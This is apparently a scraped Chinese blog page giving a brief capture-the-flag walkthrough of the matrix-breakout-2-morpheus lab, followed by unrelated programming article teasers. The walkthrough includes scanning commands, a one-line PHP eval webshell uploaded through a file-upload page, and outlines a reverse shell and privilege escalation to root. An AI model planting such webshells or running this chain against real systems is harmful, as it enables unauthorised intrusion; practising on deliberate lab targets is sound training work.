当前位置： 首页 > news >正文

matrix-breakout-2-morpheus 靶场 练习思路

news 2026/4/20 12:20:54 
arp-scan -l   获取目标机器的IP
nmap -sV -A IP   查看目标机器开放的端口
gobuster dir -u http://192.168.29.130 -x php,txt,jsp,asp -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  爆破目标机器的文件目录,找到可以访问的文件路径
http://192.168.29.130/graffiti.php 发现可以上传文件的页面以及接口

<?php eval($_POST['attack']);?>  通过上传文件的方式,注入该代码

然后使用 蚁剑 连接到目标服务器, 查看目标服务器的目录

传递linpeas.sh 和 反弹shell 到目标机器

执行linpeas.sh 文件,查看目标机器的漏洞

利用漏洞获取目标机器的root最高权限

相关文章：

matrix-breakout-2-morpheus 靶场 练习思路

arp-scan -l 获取目标机器的IP nmap -sV -A IP 查看目标机器开放的端口 gobuster dir -u http://192.168.29.130 -x php,txt,jsp,asp -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 爆破目标机器的文件目录,找到可以访问的文件路径 http://192.168…...

编程日记 2024/1/8 6:12:48

【Flutter 开发实战】Dart 基础篇：从了解背景开始

想要学会用 Flutter 开发 App&#xff0c;就不可避免的要学习另一门很有意思的编程语言 —— Dart。很多小伙伴可能在学习 Flutter 之前可能都没听说过这门编程语言&#xff0c;我也是一样&#xff0c;还以为 Dart 是为了 Flutter 而诞生的&#xff1b;然而&#xff0c;当我们去…...

编程日记 2024/1/8 6:10:46

西电期末1017.有序序列插值

一.题目 二.分析与思路 简单题。主要考察简单的排序&#xff0c;最后的插入数据同样不用具体实现&#xff0c;只需在输出时多输出一下即可&#xff0c;注意顺序&#xff01;&#xff01; 三.代码实现 #include<bits/stdc.h>//万能头 int main() {int n;scanf("%d…...

编程日记 2024/1/8 6:08:44

day10 用栈实现队列 用队列实现栈

题目1&#xff1a;232 用栈实现队列 题目链接&#xff1a;232 用栈实现队列 题意 用两个栈实现先入先出队列&#xff08;一个入栈&#xff0c;一个出栈&#xff09;&#xff0c;实现如下功能&#xff1a; 1&#xff09;push&#xff1a;将元素x推到队列末尾 2&#xff09;…...

编程日记 2024/1/8 6:06:43

解决跨域问题（SpringBoot）

“什么是跨域&#xff1f;” 跨域 &#xff08;Cross-Origin&#xff09; 是指在浏览器的同源策略&#xff08;Same-Origin Policy&#xff09;下&#xff0c;一个网页的源&#xff08;指协议、域名、端口号的组合&#xff09;与另一个网页的源不同。因此&#xff0c;不同源的…...

编程日记 2024/1/8 6:05:41

LeetCode——2487. 从链表中移除节点

通过万岁&#xff01;&#xff01;&#xff01; 题目&#xff1a;给你一个链表&#xff0c;然后让你从链表中移除一些节点&#xff0c;移除的规则就是我们选择的这个节点在原链表中往右不能有比这个节点大的值。思路&#xff1a;这个题我最开始以为是双指针&#xff0c;然后找…...

编程日记 2024/1/8 6:04:40

云原生和Kubernetes如何简化应用程序开发

在谈论当前技术时，“云计算”正变得非常普遍，作为开发人员，将会继续体验使用云计算应用程序的优势;在云计算中，另一个正在出现的术语是云原生。在进入实际话题之前，首先了解一下云原生到底是什么。 深入了解云原生应用 现在，世界各地的公司都了解云计算应用程序可以带来…...

编程日记 2024/1/8 6:03:40

点云从入门到精通技术详解100篇-基于深度学习的室内场景三维点云语义分割（续）

目录 CSegNet 语义分割模型构建 3.1 引言 3.2 偏移注意机制 3.3 网络主干 3.4 边缘卷积模块...

编程日记 2024/1/8 6:02:39

RabbitMQ消息可靠性保证机制3--消费端ACK机制

消费端ACK机制 ​ 在这之前已经完成了发送端的确认机制。可以保证数据成功的发送到RabbitMQ&#xff0c;以及持久化机制&#xff0c;然尔这依然无法完全保证整个过程的可靠性&#xff0c;因为如果消息被消费过程中业务处理失败了&#xff0c;但是消息却已经被标记为消费了&…...

编程日记 2024/1/8 6:00:37

Copilot在Pycharm的应用和示例

Copilot 是 Github 在 2021 年发布的 AI 代码助手工具&#xff0c;它可以根据你提供的上下文信息&#xff0c;自动生成代码建议&#xff0c;帮助提高代码编写效率和准确性。在 Pycharm 中使用 Copilot&#xff0c;可以进一步提升 Python 开发效率&#xff0c;本文将分享如何在 …...

编程日记 2024/1/8 5:59:36

搜维尔科技：【简报】第九届元宇宙数字人设计大赛，报名已经进入白热化阶段！

随着元宇宙时代的来临&#xff0c;数字人设计成为了创新前沿领域之一。为了提高大学生元宇宙虚拟人角色策划与美术设计的专业核心能力&#xff0c;我们特别举办了这场元宇宙数字人设计赛道&#xff0c;赛道主题为「AI人工智能科技」 &#xff0c;只要与「AI人工智能科技」相关的…...

编程日记 2024/1/8 5:58:35

性能检测自动化（含内存泄露检测）

一、平台侧实现方案 1、UI case重复执行N次：进入页面，sleep 5s，记录start_time，sleep 30s，记录end_time，性能采集工具全程采集性能数据 2、根据采集到的性能数据，按照N次卡点性能数据：去掉最大的10%、最小的10%，求取平均值，作为单次性能数据结果f(n)…...

编程日记 2024/1/8 5:55:33

iec104和iec61850

iec104和iec61850 IEC104 规约详细解读(一) 协议结构 IEC104 规约详细解读(二)交互流程以及协议解析 61850开发知识总结与分享【1】 Get the necesarry projects next to each other in the same directory; $ git clone https://github.com/robidev/iec61850_open_server.g…...

编程日记 2024/1/8 5:54:32

redis 面试问题 （更新中 ing）

目录 reids 是做什么的为什么那么快有哪些使用场景redis有哪些 数据结构redis 有哪些底层数据结构为什么设计 sds一个 字符串 存储多大容量 stream为什么设计 streamstream 消费者消息丢失stream 消息私信问题 持久化机制redis 持久化机制&#xff0c;优缺点&#xff0c;怎么用…...

编程日记 2024/1/8 5:53:31

力扣（leetcode）第389题找不同（Python）

389.找不同 题目链接&#xff1a;389.找不同 给定两个字符串 s 和 t &#xff0c;它们只包含小写字母。 字符串 t 由字符串 s 随机重排&#xff0c;然后在随机位置添加一个字母。 请找出在 t 中被添加的字母。 示例 1&#xff1a; 输入&#xff1a;s “abcd”, t “abcde…...

编程日记 2024/1/8 5:51:28

Linux_源码编译安装LAMP

1. 安装httpd服务 在配置 Apache 网站服务之前&#xff0c;需要正确安装好 httpd 服务器软件。httpd 服务器的安装可以选用 RPM 安装、源码编译安装这两种方式&#xff0c;前者相对比较简单、快速&#xff0c;但是在功能上存在一定的局限性。在实际的生产环境中&#xff0c;使…...

编程日记 2024/1/8 5:48:25

静态网页设计——清雅古筝网（HTML+CSS+JavaScript）

前言 声明&#xff1a;该文章只是做技术分享&#xff0c;若侵权请联系我删除。&#xff01;&#xff01; 感谢大佬的视频&#xff1a; https://www.bilibili.com/video/BV1T64y1K7Zn/?vd_source5f425e0074a7f92921f53ab87712357b 使用技术&#xff1a;HTMLCSSJS&#xff08;…...

编程日记 2024/1/8 5:47:25

实战Flink Java api消费kafka实时数据落盘HDFS

文章目录 1 需求分析2 实验过程2.1 启动服务程序2.2 启动kafka生产 3 Java API 开发3.1 依赖3.2 代码部分 4 实验验证STEP1STEP2STEP3 5 时间窗口 1 需求分析 在Java api中&#xff0c;使用flink本地模式&#xff0c;消费kafka主题&#xff0c;并直接将数据存入hdfs中。 flin…...

编程日记 2024/1/8 5:42:19

爬虫与反爬-localStorage指纹（某易某盾滑块指纹检测）（Hook案例）

概述&#xff1a;本文将用于了解爬虫中localStorage的检测原理以及讲述一个用于检测localStorage的反爬虫案例&#xff0c;最后对该参数进行Hook断点定位 目录&#xff1a; 一、LocalStorage 二、爬虫中localStorage的案例&#xff08;以某盾滑块为例&#xff09; 三、如何…...

编程日记 2024/1/8 5:40:18

聊一聊 webpack 和 vite 的开发服务代理的问题

webpack 和 vite webpackVite重新编辑的问题 changOrigin: true如何定义 /api ? webPack And Vite 都是两个比较好用的打包工具&#xff0c;尤其是 Vite, 几几年流行忘记了&#xff0c;特色就是服务启动极快&#xff0c;实现预加载&#xff0c;感觉 webPack 要比 Vite 要复杂一…...

编程日记 2024/1/8 5:39:17

掌握IPTVnator日志系统：一站式运行监控与故障排查指南

掌握IPTVnator日志系统&#xff1a;一站式运行监控与故障排查指南 【免费下载链接】iptvnator :tv: Cross-platform IPTV player application with multiple features, such as support of m3u and m3u8 playlists, favorites, TV guide, TV archive/catchup and more. 项目地…...

编程新知 2026/4/20 11:51:24

如何免费将视频硬字幕转为SRT文件？本地OCR工具终极指南

如何免费将视频硬字幕转为SRT文件&#xff1f;本地OCR工具终极指南 【免费下载链接】video-subtitle-extractor 视频硬字幕提取&#xff0c;生成srt文件。无需申请第三方API&#xff0c;本地实现文本识别。基于深度学习的视频字幕提取框架&#xff0c;包含字幕区域检测、字幕内…...

编程新知 2026/4/20 10:38:12

别再只看RMS粗糙度了！用Huray模型和Python手把手计算PCB铜箔损耗（附代码）

从理论到实践&#xff1a;用Python实现Huray模型精准计算PCB铜箔高频损耗 当信号频率突破10GHz门槛时&#xff0c;传统基于RMS粗糙度的Hammerstad模型开始出现明显偏差。我曾在一个40Gbps差分对设计项目中&#xff0c;发现实测插损比仿真结果高出3dB/inch&#xff0c;最终追踪到…...

编程新知 2026/4/20 9:03:40

从RSA加密到CTF竞赛：Miller-Rabin算法背后的‘信任’与‘欺骗’

从RSA加密到CTF竞赛&#xff1a;Miller-Rabin算法背后的‘信任’与‘欺骗’ 在数字世界的安全基石中&#xff0c;素数的神秘性始终扮演着关键角色。想象一下&#xff0c;当你在网上银行输入密码时&#xff0c;那些保护数据传输的加密算法&#xff0c;其安全性很大程度上依赖于一…...

编程新知 2026/4/20 7:37:21

StructBERT中文句子相似度工具：3步搞定文本去重与内容查重

StructBERT中文句子相似度工具&#xff1a;3步搞定文本去重与内容查重 1. 为什么需要中文句子相似度工具&#xff1f; 在日常工作和内容创作中&#xff0c;我们经常遇到需要判断两段文字相似程度的场景。比如编辑需要检查投稿文章是否存在抄袭&#xff0c;老师要核对学生作业…...

编程新知 2026/4/20 7:23:18

Multrin自定义开发指南：扩展你的窗口组织功能

Multrin自定义开发指南&#xff1a;扩展你的窗口组织功能 【免费下载链接】multrin Organize apps windows in tabs like in abandoned Windows Sets and more 项目地址: https://gitcode.com/gh_mirrors/mu/multrin Multrin是一款强大的窗口组织工具&#xff0c;它允许…...

编程新知 2026/4/20 6:58:43

终极xplr快捷键清单：2024最全默认键盘绑定速查手册

终极xplr快捷键清单&#xff1a;2024最全默认键盘绑定速查手册 【免费下载链接】xplr A hackable, minimal, fast TUI file explorer 项目地址: https://gitcode.com/gh_mirrors/xp/xplr xplr是一款可高度定制的极简快速终端文件浏览器&#xff08;TUI file explorer&am…...

编程新知 2026/4/20 6:56:42

如何用YAML配置文件驱动不同对齐算法：Align-Anything配置系统详解

如何用YAML配置文件驱动不同对齐算法&#xff1a;Align-Anything配置系统详解 【免费下载链接】align-anything Align Anything: Training All-modality Model with Feedback 项目地址: https://gitcode.com/gh_mirrors/al/align-anything Align-Anything是一个功能强大…...

编程新知 2026/4/20 6:52:33

Qwen3-TTS-1.7B部署教程：systemd服务封装与开机自启配置方法

Qwen3-TTS-1.7B部署教程&#xff1a;systemd服务封装与开机自启配置方法 本文介绍如何将Qwen3-TTS-1.7B语音合成模型封装为systemd服务&#xff0c;实现一键启动、自动重启和开机自启&#xff0c;让AI语音服务像系统服务一样稳定运行。 1. 项目概述与环境准备 Qwen3-TTS-1.7B是…...

编程新知 2026/4/20 6:23:14

YOLO12实战案例：YOLO12用于数字孪生工厂中设备状态视觉感知

YOLO12实战案例&#xff1a;YOLO12用于数字孪生工厂中设备状态视觉感知 1. 引言&#xff1a;当数字孪生遇到“火眼金睛” 想象一下&#xff0c;你是一家大型制造工厂的负责人。车间里&#xff0c;上百台设备日夜不停地运转&#xff0c;从冲压机到焊接机器人&#xff0c;从传送…...

编程新知 2026/4/20 5:47:26